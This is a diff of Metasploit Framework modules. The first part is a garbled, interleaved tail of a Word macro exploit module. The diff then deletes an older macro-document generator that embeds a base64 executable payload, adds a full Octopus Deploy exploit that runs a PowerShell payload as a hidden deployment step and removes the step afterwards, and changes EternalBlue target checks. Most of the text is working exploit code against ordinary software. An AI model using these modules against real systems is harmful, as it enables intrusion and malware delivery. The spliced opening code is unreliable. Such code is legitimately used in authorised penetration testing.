@docx.fetch(i)[:data]
end
yield short_fname, buf
end
def package_docm(path)
zip = Rex::Zip::Archive.new
Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')
if File.directory?(file)
print_status("Packaging directory: #{file}")
zip.add_file(p)
def add_content_type_extension(extension, content_type)
if has_content_type_extension?(extension)
update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type)
else
on_file_read(p, file) do |fname, buf|
print_status("Packaging file: #{fname}")
zip.add_file(fname, buf)
xml = get_file_in_docx('[Content_Types].xml')
types_node = xml.at('Types')
unless types_node
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
end
child_data = "<Default Extension=\"#{extension}\" ContentType=\"#{content_type}\"/>"
types_node.add_child(child_data)
end
end
zip.pack
def has_content_type_extension?(extension)
xml = get_file_in_docx('[Content_Types].xml')
xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false
end
def add_content_type_partname(part_name, content_type)
ctype_xml = get_file_in_docx('[Content_Types].xml')
types_node = ctype_xml.at('Types')
unless types_node
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
end
child_data = "<Override PartName=\"#{part_name}\" ContentType=\"#{content_type}\"/>"
types_node.add_child(child_data)
end
def update_content_type(pattern, attribute, new_value)
ctype_xml = get_file_in_docx('[Content_Types].xml')
doc_xml_ctype_node = ctype_xml.at(pattern)
if doc_xml_ctype_node
doc_xml_ctype_node.attributes[attribute].value = new_value
end
end
def add_rels_relationship(type, target)
rels_xml = get_file_in_docx('_rels/.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
end
last_index = get_last_relationship_index_from_rels
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
end
def add_doc_relationship(type, target)
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
end
last_index = get_last_relationship_index_from_doc_rels
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
end
def get_last_relationship_index_from_rels
rels_xml = get_file_in_docx('_rels/.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
end
relationships_node.search('Relationship').collect { |n|
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
}.max
end
def get_last_relationship_index_from_doc_rels
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
end
relationships_node.search('Relationship').collect { |n|
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
}.max
end
def inject_macro
add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject')
add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml')
pattern = 'Override[@PartName="/word/document.xml"]'
attribute_name = 'ContentType'
scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml'
update_content_type(pattern, attribute_name, scheme)
scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'
fname = 'vbaProject.bin'
add_doc_relationship(scheme, fname)
@docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml }
@docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels}
@docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin}
end
def get_vbadata_xml
File.read(File.join(macro_resource_directory, 'vbaData.xml'))
end
def get_vbaproject_bin_rels
File.read(File.join(macro_resource_directory, 'vbaProject.bin.rels'))
end
def get_vbaproject_bin
File.read(File.join(macro_resource_directory, 'vbaProject.bin'))
end
def get_core_xml
File.read(File.join(macro_resource_directory, 'core.xml'))
end
def create_core_xml_file
add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml')
add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml')
@docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) }
end
def inject_payload
p = padding = ' ' * 55
p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe)
begin
core_xml = get_file_in_docx('docProps/core.xml')
rescue Msf::Exploit::Failed
end
unless core_xml
print_status('Missing docProps/core.xml to inject the payload to. Using the default one.')
create_core_xml_file
core_xml = get_file_in_docx('docProps/core.xml')
end
description_node = core_xml.at('//cp:coreProperties//dc:description')
description_node.content = p
end
def unpack_docx(template_path)
doc = []
Zip::File.open(template_path) do |entries|
entries.each do |entry|
if entry.name.match(/\.xml|\.rels$/i)
content = Nokogiri::XML(entry.get_input_stream.read)
else
content = entry.get_input_stream.read
end
vprint_status("Parsing item from template: #{entry.name}")
doc << { fname: entry.name, data: content }
end
end
doc
end
def pack_docm
@docx.each do |entry|
if entry[:data].kind_of?(Nokogiri::XML::Document)
entry[:data] = entry[:data].to_s
end
end
Msf::Util::EXE.to_zip(@docx)
end
def macro_resource_directory
@macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
end
def get_template_path
if datastore['CUSTOMTEMPLATE']
datastore['CUSTOMTEMPLATE']
else
File.join(macro_resource_directory, 'template.docx')
end
end
def exploit
print_status('Generating our docm file...')
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
docm = package_docm(path)
template_path = get_template_path
unless File.extname(template_path).match(/\.docx$/i)
fail_with(Failure::BadConfig, 'Template is not a docx file.')
end
print_status("Using template: #{template_path}")
@docx = unpack_docx(template_path)
print_status('Injecting payload in document comments')
inject_payload
print_status('Injecting macro and other required files in document')
inject_macro
print_status("Finalizing docm: #{datastore['FILENAME']}")
docm = pack_docm
file_create(docm)
super
end
end

View File

@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Webim 1.580', { }]],
'Targets' => [[ 'Webmin 1.580', { }]],
'DisclosureDate' => 'Sep 06 2012',
'DefaultTarget' => 0))

View File

@ -1,111 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Module::Deprecated
deprecated(Date.new(2017, 3, 16), 'exploit/multi/fileformat/office_word_macro')
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Office Word Malicious Macro Execution",
'Description' => %q{
This module generates a macro-enabled Microsoft Office Word document. The comments
metadata in the data is injected with a Base64 encoded payload, which will be
decoded by the macro and execute as a Windows executable.
For a successful attack, the victim is required to manually enable macro execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => 'win',
'Targets' =>
[
['Microsoft Office Word', {}],
],
'Privileged' => false,
'DisclosureDate' => "Jan 10 2012",
'DefaultTarget' => 0
))
register_options([
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
])
end
def on_file_read(short_fname, full_fname)
buf = File.read(full_fname)
case short_fname
when /document\.xml/
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
when /core\.xml/
b64_payload = ' ' * 55
b64_payload << Rex::Text.encode_base64(generate_payload_exe)
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
end
# The original filename of __rels is actually ".rels".
# But for some reason if that's our original filename, it won't be included
# in the archive. So this hacks around that.
case short_fname
when /__rels/
short_fname.gsub!(/\_\_rels/, '.rels')
end
yield short_fname, buf
end
def package_docm(path)
zip = Rex::Zip::Archive.new
Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')
if File.directory?(file)
print_status("Packaging directory: #{file}")
zip.add_file(p)
else
on_file_read(p, file) do |fname, buf|
print_status("Packaging file: #{fname}")
zip.add_file(fname, buf)
end
end
end
zip.pack
end
def exploit
print_status('Generating our docm file...')
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
docm = package_docm(path)
file_create(docm)
super
end
end

View File

@ -0,0 +1,406 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
require 'json'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Octopus Deploy Authenticated Code Execution',
'Description' => %q{
This module can be used to execute a payload on an Octopus Deploy server given
valid credentials or an API key. The payload is execued as a powershell script step
on the Octopus Deploy server during a deployment.
},
'License' => MSF_LICENSE,
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ],
'References' =>
[
# Octopus Deploy docs
[ 'URL', 'https://octopus.com' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 15 2017'
))
register_options(
[
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('APIKEY', [ false, 'API key to use instead of username and password']),
OptString.new('PATH', [ true, 'URI of the Octopus Deploy server. Default is /', '/']),
OptString.new('STEPNAME', [false, 'Name of the script step that will be temporarily added'])
]
)
end
def check
res = nil
if datastore['APIKEY']
res = check_api_key
elsif datastore['USERNAME'] && datastore['PASSWORD']
res = do_login
else
begin
fail_with(Failure::BadConfig, 'Need username and password or API key')
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return CheckCode::Unknown
end
end
disconnect
return CheckCode::Unknown if res.nil?
if res.code.between?(400, 499)
vprint_error("Server rejected the credentials")
return CheckCode::Unknown
end
CheckCode::Appears
end
def exploit
# Generate the powershell payload
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true)
step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4))
session = create_octopus_session unless datastore['APIKEY']
#
# Get project steps
#
print_status("Getting available projects")
project = get_project(session)
project_id = project['Id']
project_name = project['Name']
print_status("Using project #{project_name}")
print_status("Getting steps to #{project_name}")
steps = get_steps(session, project_id)
added_step = make_powershell_step(command, step_name)
steps['Steps'].insert(0, added_step)
modified_steps = JSON.pretty_generate(steps)
#
# Add step
#
print_status("Adding step #{step_name} to #{project_name}")
put_steps(session, project_id, modified_steps)
#
# Make release
#
print_status('Getting available channels')
channels = get_channel(session, project_id)
channel = channels['Items'][0]['Id']
channel_name = channels['Items'][0]['Name']
print_status("Using channel #{channel_name}")
print_status('Getting next version')
version = get_version(session, project_id, channel)
print_status("Using version #{version}")
release_params = {
"ProjectId" => project_id,
"ChannelId" => channel,
"Version" => version,
"SelectedPackages" => []
}
release_params_str = JSON.pretty_generate(release_params)
print_status('Creating release')
release_id = do_release(session, release_params_str)
print_status("Release #{release_id} created")
#
# Deploy
#
dash = do_get_dashboard(session, project_id)
environment = dash['Environments'][0]['Id']
environment_name = dash['Environments'][0]['Name']
skip_steps = do_get_skip_steps(session, release_id, environment, step_name)
deployment_params = {
'ReleaseId' => release_id,
'EnvironmentId' => environment,
'SkipActions' => skip_steps,
'ForcePackageDownload' => 'False',
'UseGuidedFailure' => 'False',
'FormValues' => {}
}
deployment_params_str = JSON.pretty_generate(deployment_params)
print_status("Deploying #{project_name} version #{version} to #{environment_name}")
do_deployment(session, deployment_params_str)
#
# Delete step
#
print_status("Getting updated steps to #{project_name}")
steps = get_steps(session, project_id)
print_status("Deleting step #{step_name} from #{project_name}")
steps['Steps'].each do |item|
steps['Steps'].delete(item) if item['Name'] == step_name
end
modified_steps = JSON.pretty_generate(steps)
put_steps(session, project_id, modified_steps)
print_status("Step #{step_name} deleted")
#
# Wait for shell
#
handler
end
def get_project(session)
path = 'api/projects'
res = send_octopus_get_request(session, path, 'Get projects')
body = parse_json_response(res)
body['Items'].each do |item|
return item if item['IsDisabled'] == false
end
fail_with(Failure::Unknown, 'No suitable projects found.')
end
def get_steps(session, project_id)
path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
res = send_octopus_get_request(session, path, 'Get steps')
body = parse_json_response(res)
body
end
def put_steps(session, project_id, steps)
path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
send_octopus_put_request(session, path, 'Put steps', steps)
end
def get_channel(session, project_id)
path = "api/projects/#{project_id}/channels"
res = send_octopus_get_request(session, path, 'Get channel')
parse_json_response(res)
end
def get_version(session, project_id, channel)
path = "api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}"
res = send_octopus_get_request(session, path, 'Get version')
body = parse_json_response(res)
body['NextVersionIncrement']
end
def do_get_skip_steps(session, release, environment, payload_step_name)
path = "api/releases/#{release}/deployments/preview/#{environment}"
res = send_octopus_get_request(session, path, 'Get skip steps')
body = parse_json_response(res)
skip_steps = []
body['StepsToExecute'].each do |item|
if (!item['ActionName'].eql? payload_step_name) && item['CanBeSkipped']
skip_steps.push(item['ActionId'])
end
end
skip_steps
end
def do_release(session, params)
path = 'api/releases'
res = send_octopus_post_request(session, path, 'Do release', params)
body = parse_json_response(res)
body['Id']
end
def do_get_dashboard(session, project_id)
path = "api/dashboard/dynamic?includePrevious=true&projects=#{project_id}"
res = send_octopus_get_request(session, path, 'Get dashboard')
parse_json_response(res)
end
def do_deployment(session, params)
path = 'api/deployments'
send_octopus_post_request(session, path, 'Do deployment', params)
end
def make_powershell_step(ps_payload, step_name)
prop = {
'Octopus.Action.RunOnServer' => 'true',
'Octopus.Action.Script.Syntax' => 'PowerShell',
'Octopus.Action.Script.ScriptSource' => 'Inline',
'Octopus.Action.Script.ScriptBody' => ps_payload
}
step = {
'Name' => step_name,
'Environments' => [],
'Channels' => [],
'TenantTags' => [],
'Properties' => { 'Octopus.Action.TargetRoles' => '' },
'Condition' => 'Always',
'StartTrigger' => 'StartWithPrevious',
'Actions' => [ { 'ActionType' => 'Octopus.Script', 'Name' => step_name, 'Properties' => prop } ]
}
step
end
def send_octopus_get_request(session, path, nice_name = '')
request_path = normalize_uri(datastore['PATH'], path)
headers = create_request_headers(session)
res = send_request_raw(
'method' => 'GET',
'uri' => request_path,
'headers' => headers,
'SSL' => ssl
)
check_result_status(res, request_path, nice_name)
res
end
def send_octopus_post_request(session, path, nice_name, data)
res = send_octopus_data_request(session, path, data, 'POST')
check_result_status(res, path, nice_name)
res
end
def send_octopus_put_request(session, path, nice_name, data)
res = send_octopus_data_request(session, path, data, 'PUT')
check_result_status(res, path, nice_name)
res
end
def send_octopus_data_request(session, path, data, method)
request_path = normalize_uri(datastore['PATH'], path)
headers = create_request_headers(session)
headers['Content-Type'] = 'application/json'
res = send_request_raw(
'method' => method,
'uri' => request_path,
'headers' => headers,
'data' => data,
'SSL' => ssl
)
res
end
def check_result_status(res, request_path, nice_name)
if !res || res.code < 200 || res.code >= 300
req_name = nice_name || 'Request'
fail_with(Failure::UnexpectedReply, "#{req_name} failed #{request_path} [#{res.code} #{res.message}]")
end
end
def create_request_headers(session)
headers = {}
if session.blank?
headers['X-Octopus-ApiKey'] = datastore['APIKEY']
else
headers['Cookie'] = session
headers['X-Octopus-Csrf-Token'] = get_csrf_token(session, 'Octopus-Csrf-Token')
end
headers
end
def get_csrf_token(session, csrf_cookie)
key_vals = session.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)
key_vals.each do |name, value|
return value if name.starts_with?(csrf_cookie)
end
fail_with(Failure::Unknown, 'CSRF token not found')
end
def parse_json_response(res)
begin
json = JSON.parse(res.body)
return json
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to parse response json')
end
end
def create_octopus_session
res = do_login
if res && res.code == 404
fail_with(Failure::BadConfig, 'Incorrect path')
elsif !res || (res.code != 200)
fail_with(Failure::NoAccess, 'Could not initiate session')
end
res.get_cookies
end
def do_login
json_post_data = JSON.pretty_generate({ Username: datastore['USERNAME'], Password: datastore['PASSWORD'] })
path = normalize_uri(datastore['PATH'], '/api/users/login')
res = send_request_raw(
'method' => 'POST',
'uri' => path,
'ctype' => 'application/json',
'data' => json_post_data,
'SSL' => ssl
)
if !res || (res.code != 200)
print_error("Login failed")
elsif res.code == 200
report_octopusdeploy_credential
end
res
end
def check_api_key
headers = {}
headers['X-Octopus-ApiKey'] = datastore['APIKEY'] || ''
path = normalize_uri(datastore['PATH'], '/api/serverstatus')
res = send_request_raw(
'method' => 'GET',
'uri' => path,
'headers' => headers,
'SSL' => ssl
)
print_error("Login failed") if !res || (res.code != 200)
vprint_status(res.body)
res
end
def report_octopusdeploy_credential
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'], true),
port: datastore['RPORT'],
service_name: (ssl ? "https" : "http"),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: datastore['PASSWORD'].downcase,
username: datastore['USERNAME']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
access_level: 'Admin',
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -162,12 +162,24 @@ class MetasploitModule < Msf::Exploit::Remote
client, tree, sock, os = smb1_anonymous_connect_ipc()
print_good("Connection established for exploitation.")
if not verify_target(os)
raise EternalBlueError, "Unable to continue with improper OS Target."
if verify_target(os)
print_good('Target OS selected valid for OS indicated by SMB reply')
else
print_warning('Target OS selected not valid for OS indicated by SMB reply')
print_warning('Disable VerifyTarget option to proceed manually...')
raise EternalBlueError, 'Unable to continue with improper OS Target.'
end
#if not verify_arch
#end
# cool buffer print no matter what, will be helpful when people post debug issues
print_core_buffer(os)
if verify_arch
print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
else
print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
print_warning('Disable VerifyArch option to proceed manually...')
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
end
print_status("Trying exploit with #{grooms} Groom Allocations.")
@ -242,21 +254,70 @@ class MetasploitModule < Msf::Exploit::Remote
break
end
end
if ret
print_status("Target OS selected valid for OS indicated by SMB reply")
else
print_warning("Target OS selected not valid for OS indicated by SMB reply")
print_warning("Disable VerifyTarget option to proceed manually...")
end
end
# cool buffer print no matter what, will be helpful when people post debug issues
print_core_buffer(os)
return ret
end
# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
def verify_arch
ret = false
return true if !datastore['VerifyArch']
pkt = Rex::Proto::DCERPC::Packet.make_bind(
# Abstract Syntax: EPMv4 V3.0
'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
# Transfer Syntax[1]: 64bit NDR V1
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
).first
begin
sock = connect(false,
'RHOST' => rhost,
'RPORT' => 135
)
rescue Rex::ConnectionError => e
print_error(e.to_s)
return false
end
sock.put(pkt)
begin
res = sock.get_once(60)
rescue EOFError
print_error('DCE/RPC socket returned EOFError')
return false
end
disconnect(sock)
begin
resp = Rex::Proto::DCERPC::Response.new(res)
rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
print_error(e.to_s)
return false
end
case target_arch.first
when ARCH_X64
# Ack result: Acceptance (0)
if resp.ack_result.first == 0
ret = true
end
when ARCH_X86
# Ack result: Provider rejection (2)
# Ack reason: Proposed transfer syntaxes not supported (2)
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
ret = true
end
end
ret
end
def print_core_buffer(os)
print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 362
CachedSize = 454
include Msf::Payload::Stager
include Msf::Payload::Python::ReverseTcp

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 466
CachedSize = 558
include Msf::Payload::Stager
include Msf::Payload::Python

View File

@ -13,6 +13,8 @@ while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
require 'backports'
class Msfupdate
attr_reader :stdin
attr_reader :stdout
@ -132,12 +134,13 @@ class Msfupdate
end
Dir.chdir(@msfbase_dir) do
if git?
update_git!
if apt?
stderr.puts "[-] ERROR: msfupdate is not supported on Kali Linux."
stderr.puts "[-] Please run 'apt update; apt install metasploit-framework' instead."
elsif binary_install?
update_binary_install!
elsif apt?
update_apt!
elsif git?
update_git!
else
raise "Cannot determine checkout type: `#{@msfbase_dir}'"
end
@ -267,23 +270,6 @@ class Msfupdate
end
end
def update_apt!
# For more information, see here:
# https://community.rapid7.com/community/metasploit/blog/2013/01/17/metasploit-updates-and-msfupdate
stdout.puts "[*] Checking for updates via the APT repository"
stdout.puts "[*] Note: expect weekly(ish) updates using this method"
system("apt-get", "-qq", "update")
framework_version = apt_upgrade_available('metasploit-framework')
if framework_version.blank?
stdout.puts "[*] No updates available"
else
stdout.puts "[*] Updating to version #{framework_version}"
system("apt-get", "install", "--assume-yes", "metasploit-framework")
end
end
# Adding an upstream enables msfupdate to pull updates from
# Rapid7's metasploit-framework repo instead of the repo
# the user originally cloned or forked.

Some files were not shown because too many files have changed in this diff Show More